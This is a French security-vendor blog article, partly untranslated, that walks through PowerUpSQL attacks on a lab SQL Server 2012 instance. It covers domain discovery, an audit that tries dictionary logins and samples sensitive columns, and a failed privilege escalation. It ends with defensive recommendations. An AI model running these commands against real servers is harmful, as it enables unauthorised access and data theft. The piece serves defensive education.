Compromettre SQL Server avec PowerUpSQL
Si vous recherchez une boîte à outils pour maîtriser Microsoft SQL Server de bout en bout, ce qu'il vous faut est PowerUpSQL. Implémenté en PowerShell et aussi complet que possible, PowerUpSQL possède des outils pour découvrir, compromettre et s'approprier pratiquement n'importe quel système SQL. C'est toute la chaîne d'attaque dans un seul outil. Cet article détaille comment réaliser les étapes d'attaque critiques en utilisant PowerUpSQL.
Contenu connexe sélectionné :
Notez que nous avons eu des résultats très mitigés avec le système que nous utilisions, une version très basique de MS SQL 2012. Nous nous assurerons de souligner où nos résultats ont varié avec et sans droits d'administrateur système. Si vous avez besoin de conseils pour obtenir des droits d'administrateur au niveau du système, consultez notre catalogue de techniques for attacking core AD infrastructure et nos articles sur AD service account attacks, attacks that exploit misconfigured permissions et notre series on Mimikatz attacks.
Découverte
To find all the SQL servers in a domain, you can use the Get-SQLInstanceDomain cmdlet:
PS C:PowerUpSQL-master> Get-SQLInstanceDomain -Verbose
VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 2 instances were found.
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com,1433
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount : APP02$
DomainAccountCn : APP02
Service : MSSQLSvc
Spn : MSSQLSvc/APP02.sbcloudlab.com:1433
LastLogon : 1/9/2018 7:10 AM
Description :
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount : APP02$
DomainAccountCn : APP02
Service : MSSQLSvc
Spn : MSSQLSvc/APP02.sbcloudlab.com
LastLogon : 1/9/2018 7:10 AM
Description :
Il existe également Get-SQLInstanceLocal, qui effectuera le même type de découverte mais uniquement sur l'instance locale. La version pour le domaine est plus bruyante, mais si vous n'avez qu'un seul point d'attaque sur le réseau, cela répondra à vos besoins. Si vous contrôlez une plus grande partie du réseau et que vous souhaitez émettre moins de signaux, exécuter la version locale sur chaque système fera l'affaire. Dans ce cas, nous avons pu obtenir des résultats similaires lorsque nous étions un utilisateur normal ou un Administrateur de Domaine.
Sélection de la cible
Une fois que vous avez quelques systèmes MS SQL que vous souhaitez cibler — ou que vous en avez beaucoup et que vous essayez de déterminer lesquels sont les meilleures cibles — vous voudrez peut-être en savoir plus sur chacun d'entre eux. Get?SQLServerInfo vous donnera un aperçu des informations utiles sur votre cible potentielle. Notez que nous avons semblé avoir besoin de droits d'administrateur pour obtenir de bons résultats.
PS C:PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo
ComputerName : APP02
Instance : APP02
DomainName : SBCLOUDLAB
ServiceProcessID : 4980
ServiceName : MSSQLSERVER
ServiceAccount : NT ServiceMSSQLSERVER
AuthenticationMode : Windows and SQL Server Authentication
Clustered : No
SQLServerVersionNumber : 11.0.2100.60
SQLServerMajorVersion : 2012
SQLServerEdition : Standard Edition (64-bit)
SQLServerServicePack : RTM
OSArchitecture : X64
OsMachineType : ServerNT
OSVersionName : Windows Server 2012 R2 Standard
OsVersionNumber : 6.2
Currentlogin : SBCLOUDLABjonathan
IsSysadmin : Yes
ActiveSessions : 1
Cet exemple met en avant l'une des meilleures fonctionnalités de PowerUpSQL : le support du piping. Comme vous pouvez le voir, nous redirigeons les résultats de Get-SQLInstanceLocal vers Get-SQLServerInfo, ainsi avec une seule commande, nous pouvons obtenir les résultats pour toutes les instances SQL sur le serveur. De manière plus générale, vous pouvez utiliser cette fonctionnalité pour construire facilement des scripts de cracking qui exécutent des opérations compliquées rapidement.
Trouver des exploits et des données sensibles
En utilisant ce que nous apprenons de Get-SQLServerInfo, nous pourrions aller aux bibliothèques standard de menaces et de vulnérabilités et prendre quelque chose à utiliser pour exploiter ce système. Mais ce n'est pas nécessaire — PowerUpSQL a un autre tour de force dans sa manche. La Invoke-SQLAudit applet de commande fera littéralement tout le travail de piratage pour vous. Elle vérifie à peu près toutes les méthodes standards pour s'introduire dans une base de données, trouver des informations sensibles et les exfiltrer sous une forme que vous pouvez emporter.
Lorsque vous l'invoquez, vous verrez d'abord un déferlement de résultats comme ceci :
PS C:PowerUpSQL-master> Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: LOADING VULNERABILITY CHECKS.
VERBOSE: RUNNING VULNERABILITY CHECKS.
VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : No named instance found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com - Getting supplied login...
VERBOSE: APP02.sbcloudlab.com - Getting list of logins...
VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyEventProcessingLogin## Password =
##MS_PolicyEventProcessingLogin##
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =
##MS_PolicyTsqlExecutionLogin##
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...
<snip>
Mais ce n'est que le début pour Invoke-SQLAudit. Après avoir effectué tous les contrôles de niveau de permission, il vérifie une par une les vulnérabilités spécifiques et connues et rapporte ce qu'il trouve pour chacune :
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity : Low
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : There is not exploit available at this time.
Details : The database master was found configured with ownership chaining enabled.
Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity : Low
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : There is not exploit available at this time.
Details : The database tempdb was found configured with ownership chaining enabled.
Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
Lire les résultats de ce cmdlet, indépendamment de la vulnérabilité de votre cible, est comme un cours magistral sur les exploits de SQL Server. De plus, les auteurs ont laissé la boîte à outils ouverte pour des extensions au fur et à mesure que de nouvelles vulnérabilités et exploits sont découverts. Nous devrions donc nous attendre à voir cette liste s'allonger avec le temps.
Et ce n'est pas tout. Une fois qu'il a traité les vulnérabilités, il essaie de trouver des données que vous pourriez vouloir voler :
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description : Columns were found in non default databases that may contain sensitive information.
Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.
Severity : Informational
IsVulnerable : Yes
IsExploitable : Yes
Exploited : Yes
ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details : Data sample from [REDACTED] : "[REDACTED]".
Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description : Columns were found in non default databases that may contain sensitive information.
Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.
Severity : Informational
IsVulnerable : Yes
IsExploitable : Yes
Exploited : Yes
ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details : Data sample from [REDACTED] : "[REDACTED]".
Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
Ces résultats (légèrement expurgés pour des raisons évidentes) n'étaient que deux parmi des dizaines trouvés dans notre cible. Les auteurs consomment même leur propre produit alors qu'ils font cela. Ces résultats ont été trouvés en utilisant le cmdlet “Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit”, comme indiqué dans les résultats.
Élévation de privilèges
L'une des déceptions lors de l'utilisation de PowerUpSQL était que la très puissante Invoke-SQLEscalatePriv n'a jamais fonctionné pour nous. Nous avons essayé différents utilisateurs, hôtes, types d'exécution (locale et à distance) et sortes de droits, mais cela n'a jamais permis d'augmenter les privilèges de l'utilisateur. La raison semble être les paramètres par défaut dans MS SQL 2012 Enterprise Edition. Voici ce que nous avons observé lors de l'exécution en tant qu'utilisateur non-administrateur :
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s
bcloudlab.com"
PS C:PowerUpSQL-master>
When we run as admin, we get these correct but unexciting results:
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: APP02.sbcloudlab.com : Checking if you're already a sysadmin...
VERBOSE: APP02.sbcloudlab.com : You are, so nothing to do here. :)
PS C:PowerUpSQL-master>
En ligne, il semble que cette cmdlet fonctionne pour beaucoup d'autres.
Autres fonctionnalités
On peut facilement imaginer utiliser cet outil pour avoir une idée des cibles à atteindre puis se concentrer dessus. Nous construirions un script, en tirant largement parti du piping pour trouver où nous avons le plus de droits, puis nous nous concentrerions sur les données sensibles dans chacun de ces emplacements.
Nous pensons toujours en termes d'exfiltration, mais peut-être que votre objectif est la possession du système ? PowerUpSQL offre également des voies pour cela, mais nous examinerons comment faire cela dans le prochain article. En effet, il y a tellement de choses dans PowerUpSQL que nous pourrions continuer beaucoup plus longtemps. Cependant, les auteurs ont déjà fait un bon travail pour couvrir leur outil donc nous nous arrêterons ici.
Défense contre PowerUpSQL
Voyons maintenant ce que vous pouvez faire pour vous défendre contre PowerUpSQL. La mauvaise nouvelle pour notre amusement était une bonne nouvelle pour nos données : de nombreuses actions dans PowerUpSQL semblent nécessiter des droits d'administrateur, qui sont gérés par la posture de sécurité par défaut de SQL 2012 Enterprise Edition. Cependant, les droits d'administrateur sont tellement faciles à pirater dans la plupart des entreprises de nos jours que cela semble être un faible obstacle au succès.
Néanmoins, il existe des mesures éprouvées que vous pouvez prendre pour aider à protéger votre organisation :
- Appliquez un modèle de moindre privilège pour SQL Server. Les administrateurs locaux et de domaine ont-ils vraiment besoin d'être administrateurs de base de données SQL et sysadmins également ? Élaborez une politique écrite claire qui détaille pourquoi et quand cela est nécessaire. Maintenir ces fonctions administratives distinctes empêchera qu'une compromission de l'une entraîne la compromission de l'autre.
- Enquêtez sur l'impact sécuritaire de tout changement apporté aux paramètres système SQL. Les fournisseurs d'applications exigent souvent des modifications des paramètres de sécurité juste pour économiser quelques étapes — et ces étapes peuvent faire la différence entre la sécurité et la compromission. Une manière de le découvrir est d'exécuter un PowerUpSQL audit avant et après avoir effectué de tels changements sur vos systèmes de test et de comparer les résultats.
- Assurez-vous que tous les mots de passe et les données sensibles soient masqués, hachés ou chiffrés. Si les méchants en ont après vos données, c'est votre meilleur moyen de les empêcher de les obtenir. Les systèmes seront toujours vulnérables, mais un bon chiffrement est un mur de briques pour tous sauf les ennemis les plus sophistiqués. Si ce type d'adversaire en a après vos données, alors vous avez des préoccupations d'un ordre supérieur.
- Dans la mesure du possible, évitez les configurations risquées telles que l'enchaînement de propriété de bases de données. Comme pour les modifications de paramètres, les fonctionnalités au niveau de la base de données comme celle-ci sont souvent utilisées uniquement pour faire gagner du temps aux développeurs. Assurez-vous qu'il y ait au moins une prise en compte des risques lorsque ces configurations sont envisagées. Souvent, la partie la plus difficile est de découvrir où et quand ces conversations ont lieu et de les influencer.
- Assurez-vous que vos systèmes soient mis à jour selon un calendrier qui les maintient aussi actuels que possible. Cela peut être le conseil le plus répété en matière de sécurité, mais c'est vrai. Beaucoup de vulnérabilités testées ici auraient été résolues par une mise à jour appropriée. Les correctifs ne résolvent pas tous vos problèmes de sécurité, mais ils évitent ce grand vide dans votre estomac lorsque les choses tournent mal et que vous savez que cela aurait pu être (ou était absolument) dû à un correctif manquant.
Comment Netwrix peut aider
Les bases de données contiennent souvent des informations hautement sensibles, ce qui en fait une cible privilégiée pour les attaquants. Pour une sécurité renforcée, les administrateurs de bases de données ont besoin d'une visibilité sur leur empreinte SQL complète, à la fois dans les centres de données sur site et dans le cloud. Netwrix StealthAUDIT révèle automatiquement où se trouvent les bases de données SQL, qui y a accès, comment cet accès a été obtenu, qui ou quoi utilise ses privilèges d'accès, où résident les informations sensibles et comment chaque base de données a été configurée.
Partager sur
Voir les attaques de cybersécurité associées
Abus des autorisations d'application Entra ID – Fonctionnement et stratégies de défense
Modification de AdminSDHolder – Fonctionnement et stratégies de défense
Attaque AS-REP Roasting - Fonctionnement et stratégies de défense
Attaque Hafnium - Fonctionnement et stratégies de défense
Attaques DCSync expliquées : Menace pour la sécurité d'Active Directory
Attaque Pass the Hash
Comprendre les attaques Golden Ticket
Attaque des comptes de service gérés par groupe
Attaque DCShadow – Fonctionnement, exemples concrets et stratégies de défense
Injection de prompt ChatGPT : Comprendre les risques, exemples et prévention
Attaque d'extraction de mot de passe NTDS.dit
Attaque Kerberoasting – Fonctionnement et stratégies de défense
Explication de l'attaque Pass-the-Ticket : Risques, Exemples et Stratégies de Défense
Attaque par pulvérisation de mots de passe
Attaque d'extraction de mot de passe en clair
Vulnérabilité Zerologon expliquée : Risques, Exploits et Atténuation
Attaques de rançongiciels sur Active Directory
Déverrouillage d'Active Directory avec l'attaque Skeleton Key
Mouvement latéral : Qu'est-ce que c'est, comment ça fonctionne et préventions
Attaques de l'homme du milieu (MITM) : ce qu'elles sont et comment les prévenir
Attaque Silver Ticket
4 attaques de compte de service et comment s'en protéger
Pourquoi PowerShell est-il si populaire auprès des attaquants ?
Comment prévenir les attaques de logiciels malveillants d'affecter votre entreprise
Qu'est-ce que le Credential Stuffing ?
Qu'est-ce que les attaques de Mousejacking et comment se défendre contre elles
Vol de credentials avec un fournisseur de support de sécurité (SSP)
Contournement de l'authentification multifacteur avec l'attaque Pass-the-Cookie
Attaque Golden SAML